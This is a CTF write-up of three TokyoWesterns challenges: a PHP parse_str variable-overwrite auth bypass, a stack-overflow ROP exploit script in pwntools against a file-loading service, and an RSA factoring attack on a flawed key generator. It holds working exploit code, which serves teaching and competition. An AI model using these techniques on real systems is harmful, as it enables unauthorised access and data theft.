TokyoWesterns - SimpleAuth, Load, Revolutional Secure Angou

Description

Tokyo Westerns did a great job with their 4th annual CTF; all the challeneges were unqiue and challenging. Below are writeups for challenges I solved with my team during the CTF.

SimpleAuth (Web)

For this challenge, we start out only given the following URI http://simpleauth.chal.ctf.westerns.tokyo.

Navigating to this page, we are presented with the following PHP source code:

<?php

require_once 'flag.php';

if (!empty($_SERVER['QUERY_STRING'])) {
   $query = $_SERVER['QUERY_STRING'];
   $res = parse_str($query);
   if (!empty($res['action'])){
       $action = $res['action'];
   }
}

if ($action === 'auth') {
   if (!empty($res['user'])) {
       $user = $res['user'];
   }
   if (!empty($res['pass'])) {
       $pass = $res['pass'];
   }

   if (!empty($user) && !empty($pass)) {
       $hashed_password = hash('md5', $user.$pass);
   }
   if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
       echo $flag;
   }
   else {
       echo 'fail :(';
   }
}
else {
   highlight_file(__FILE__);
}

Reading through the code, we notice a few things. First, there’s a file, flag.php, that appears to be credential locked. Second, the credentials can only be passed via query string parameters. Finally, the MD5 hash of our concatenated username/password must match the hardcoded one.

Since we’re still new with PHP, we begin by verifying that we can hit the echo 'fail :('; line.

curl http://simpleauth.chal.ctf.westerns.tokyo\?action\=auth

fail :(

Great! Now to read the flag, we must provide a username and password such that the MD5 hash of their concatenation will yield c019f6e5cd8aa0bbbcc6e994a54c757e.

Initially, I thought that all I had to do was crack this hash, but that didn’t seem quite right for a web challenge. I looked back at the code. Reading more documentation pages revealed that $res = parse_str($query); seemed vulnerable to arbitrary variable overwrite. Hosting my own page to test this locally revealed that we were correct!

<?php
$var = 'test';
parse_str($_SERVER['QUERY_STRING']);
echo $var;
?>
curl http://127.0.0.1/test.php

test
curl http://172.0.0.1/test.php?var=XXX

XXX

With a working PoC, we get the flag with the following:

curl http://simpleauth.chal.ctf.westerns.tokyo\?action\=auth\&hashed_password\=c019f6e5cd8aa0bbbcc6e994a54c757e

TWCTF{d0_n0t_use_parse_str_without_result_param}

Load (Pwn)

host : pwn1.chal.ctf.westerns.tokyo
port : 34835

For this challenge, we’re given a binary and host/port to connect to. Running the binary reveals that it is a load file service. Attempting to load our local /etc/hosts provides us with a surprising segmentation fault!

Load file Service
Input file name: /etc/passwd
Input offset: 0
Input size: 100
Load file complete!
Segmentation fault

By debugging in gdb, we see that the service will open and write the file contents to a buffer on the stack. The filename that we enter is limited to 128-bytes and is placed in a variable in the bss section - we should take note of that. From our debugging, it’s clear that we must perform a stack-based buffer overflow with the end goal of controlling RIP.

We know from our test with /etc/passwd that we can pass the service arbitrary files, but what if we want to pass STDIN? Lo and behold /proc/self/fd/0. This is a symbolic link created for each process which allows us to read data from fd 0, i.e. STDIN.

Load file Service
Input file name: /proc/self/fd/0
Input offset: 0
Input size: 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Load file complete!
Segmentation fault (core dumped)

Awesome! Now we can treat our service like any other stack-based overflow.

Now that we are able to control execution flow, we notice the next issue. Right before main returns, there is a call to close_fd(), which closes the file descriptors for STDIN, STDOUT, and STDERR. What this means is that we will no longer be able to read data from the user or print data to the screen.

int close_fd()
{
  close(0);
  close(1);
  close(2);
  return;
}

Generally, we assume that 99% of CTF pwn challenges have ASLR enabled. Thus, libc will be mapped to a random address space for each execution of the binary. This forces us to either leak an address in libc so we can call functions that are not in the PLT (PLT functions have a static addresses) or only use functions present in the PLT. Since the PLT contains open, read, and puts, we actually don’t need to leak a libc address to read the flag, however, we still need STDOUT to be open to see the flag on our side. So let’s open it back up.

After a file descriptor is closed, the file descriptor will be “free’d” and the next call to the open syscall would return the lowest free file descriptor possible. Since close_fd() closed file descriptors 0, 1, 2, our next three calls to open would return these file descriptors. Recall the system trace of a puts statement.

puts("Load file complete!") === write(1, "Load file complete!", 19) = 19

We know that the second file opened will be written to the puts call. So if we can somehow read from that file via our remote connection, we we get the flag. After a bit of educated flailing, we realized that /proc/self/fd/1 is in fact a symlink to /dev/pts/?. With a simple ROP chain, we tried to open /dev/pts/? twice and voila - we can read!

Now that we can leak, we just have to write a simple ROP chain to open the flag file and read it back to ourselves. The following ROP chain followed the flow: open("/dev/pts/?") * 2 => open("/home/load/flag.txt") => read(3(flag), 0x601000(random bss addr), 10000) using our filename buffer in the bss to store filenames for the three files, since it has a static address.

Note: /dev/pts/? has question mark as it seems that the pts our connection uses keeps changing, but randomly picking between 0-3 seemed to work reliably enough for our purposes. Also, there weren’t easy gadgets for a pop rdx instruction for the third argument in the read call, so I had to use csu_init, which helps to set my rdx register.

#!/usr/bin/python
from pwn import *
import sys

HOST = "pwn1.chal.ctf.westerns.tokyo"
PORT = 34835

def rdi(a):
    return p64(0x400a73) + p64(a)

def rsi(a):
    return p64(0x400a71) + p64(a) + p64(0xdeadbeef)

def rdx(a): #rbp must be 1
    out = p64(0x400a6b)  # pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
    out += p64(1)
    out += p64(0x600FC0) # GOT_close
    out += p64(a)
    out += p64(0x1337)*2
    out += p64(0x400A46) # mov rdx, r13
    out += "A"*8*7       # rbx, rbp, r12, r13, r14, r15
    return out

def exploit(r):
    rop = "A"*56
    rop += rdx(0)
    rop += rsi(0x2702)
    rop += rdi(0x601040+len("/proc/self/fd/0\x00")) # "/dev/tty"
    rop += p64(0x400710) # PLT_open

    rop += rdx(0)
    rop += rsi(0x2702)
    rop += rdi(0x601040+len("/proc/self/fd/0\x00")) # "/dev/tty"
    rop += p64(0x400710) # PLT_open

    rop += rdx(0)
    rop += rsi(0)
    rop += rdi(0x601040+len("/proc/self/fd/0\x00" + "/dev/pts/"+sys.argv[1]+"\x00")) # "/etc/passwd"
    rop += p64(0x400710) # PLT_open

    rop += rdx(10000)
    rop += rsi(0x601000)
    rop += rdi(2)        # "flag"
    rop += p64(0x4006E8) # PLT_read

    rop += rdi(0x601000)
    rop += p64(0x0000000004006C0)

    r.sendline( "/proc/self/fd/0\x00" + "/dev/pts/"+sys.argv[1]+"\x00" + "/home/load/flag.txt\x00" )
    r.sendline("0")
    r.sendline(str(len(rop)))
    r.sendline(rop)

    r.interactive()
    return

if __name__ == "__main__":
    context.terminal=["tmux", "sp", "-h"]
    binary = "./load"
    e = ELF(binary)

    #libc_name = ""
    #libc = ELF(libc_name)

    if len(sys.argv) > 1:
        r = remote(HOST, PORT)
    else:
        r = process(elf_name, env={})
        gdb.attach(r, """

        c
        """)
    exploit(r)
TWCTF{pr0cf5_15_h1ghly_fl3x1bl3}

Revolutional Secure Angou (Crypto)

For this challenge, we’re given a zip file containing an RSA public key, the encrypted flag, and the generator.rb script used to generate the public key and encrypted flag.

require 'openssl'

e = 65537
while true
  p = OpenSSL::BN.generate_prime(1024, false)
  q = OpenSSL::BN.new(e).mod_inverse(p)
  next unless q.prime #continue generating p,q until q.prime evaluates to TRUE
  key = OpenSSL::PKey::RSA.new
  key.set_key(p.to_i * q.to_i, e, nil)
  File.write('publickey.pem', key.to_pem)
  File.binwrite('flag.encrypted', key.public_encrypt(File.binread('flag')))
  break
end

Let’s first recall how RSA keys are generated:

  • Two distinct primes, p and q, are chosen at random
  • The modulus n, where n=pq, is then calculated
  • An integer e, or public exponent, is chosen such that 1 < e < \lamba(n) and gcd(e,\lambda(n)) = 1, where \lambda is Carmichael’s totient function
  • The private exponent, d, is determined such that d ≡ e^-1 mod \lamba(n)

Once this is done, e and n are published as the public key while d, p, and q are kept secret.

Encrypting a message, m, with a public key (n,e) is simply done by computing c ≡ m(e) mod n. Thus, anyone who knows d can decrypt the message by computing m ≡ c(d) mod n.

However if d is not known, the only way of decrypting the message is to factor n into p and q and then use them to compute d. Since this is extremely hard if p and q are very large, we can consider the cryptosystem secure.

Back to the challenge - we immediately notice from the above code that only p is chosen at random; q is computed as the inverse mod of p, such that q ≡ e^(-1) mod p. Thus, q is completely determined from the value of p. We notice that the generator will continue to produce p,q pairs until both p and q are prime.

We will exploit the fact that q is nonrandom to produce the private exponent, d. We know that:

q ≡ e^(-1) mod p <=> qe ≡ 1 mod p
                 <=> qe = kp+1, for some integer k
                 <=> pqe = p(kp+1)

Thus we are left to solve the quadratic kp^2 + p - n(e) = 0, where n=pq is part of the public key we are given. Once we solve for p, we can calculate d:

d ≡ e^(-1) mod (p-1)(q-1)

Finally, we must brute force the value of k. We know that k = qe-1/p, where qe and p are odd. Since k in an integer and an even integer divided by an odd integer is even, we know that k must be even. Thus, we set k=2 and brute force even values until we find one such that p|q and p are non trivial factors. Our solution below is written using Sage with Python libraries.

#!/usr/bin/env sage-python
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes

with open ('publickey.pem', 'r') as f:
    pubkey = RSA.importKey(f.read())

with open('flag.encrypted', 'r') as f:
    ciphertext = bytes_to_long(f.read())

var('p')
r = None
n = pubkey.n
e = pubkey.e
k = 2

while not r:
    eq = n * e - p * (k * p + 1)
    r = eq.roots(p, ring=ZZ)
    k += 2

# with p, we compute q and d
p = r[0][0]
q = n / p
d = inverse_mod(e, (p-1) * (q-1))

# Decrypt the flag
plaintext = power_mod(ciphertext, d, n)

# Discard junk at the beginning of the plaintext
print long_to_bytes(plaintext)[-48:]
TWCTF{9c10a83c122a9adfe6586f498655016d3267f195}